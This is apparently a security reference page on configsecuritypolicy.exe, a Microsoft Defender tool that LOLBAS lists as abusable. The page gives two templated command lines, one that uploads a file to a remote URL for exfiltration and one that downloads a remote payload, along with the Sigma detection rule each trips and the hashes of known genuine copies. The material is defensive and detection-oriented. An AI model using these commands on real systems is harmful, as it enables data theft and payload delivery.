Identifier / Programs / Windows
configsecuritypolicy.exe
Microsoft Security Client Policy Configuration Tool file version info (xCyclopedia)
LOLBAS Upload, Download 1 Sigma rule name it 2 ATT&CK techniques 2 documented commands 3 known copies with hashes
How configsecuritypolicy.exe is abused
Upload T1567 Exfiltration Over Web Service
Download T1105 Ingress Tool Transfer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for configsecuritypolicy.exe.
2 documented commands
Upload T1567 Exfiltration Over Web Service User privileges
Upload file, credentials or data exfiltration in general
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}Trips 1 Sigma rule: mediumArbitrary File Download Via ConfigSecurityPolicy.EXE by frack113
Download T1105 Ingress Tool Transfer User privileges
It will download a remote payload and place it in INetCache.
ConfigSecurityPolicy.exe {REMOTEURL}Trips 1 Sigma rule: mediumArbitrary File Download Via ConfigSecurityPolicy.EXE by frack113
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for configsecuritypolicy.exe, by Ialle Teixeira, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for configsecuritypolicy.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real configsecuritypolicy.exe?
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2001.10-0\C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2003.8-0\C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\3 known copies
4.18.18362.1 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2001.10-0\ConfigSecurityPolicy.exe · signed by Microsoft Windows
4b90c5eae610b164216398b9c28f00bf2dd7e46db558c66c99090ea0c047c1334.18.17763.1 (WinBuild.160101.0800) · C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\ConfigSecurityPolicy.exe · signed by Microsoft Windows
6d9589a6db768b9eb658215059b9848b9de96dd8ea701be8a11f28e062684e204.10.14393.1198 (rs1_release_sec.170427-1353) · C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2003.8-0\ConfigSecurityPolicy.exe · signed by Microsoft Windows
64a0e472574fd0df31f83abeb78fb253fbfa61fa06f69286cd84989b88e0edf4From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.